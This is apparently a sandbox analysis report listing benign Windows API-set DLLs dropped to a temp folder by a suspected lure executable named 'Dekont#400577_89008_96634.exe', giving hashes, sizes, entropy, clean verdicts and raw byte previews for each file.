C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
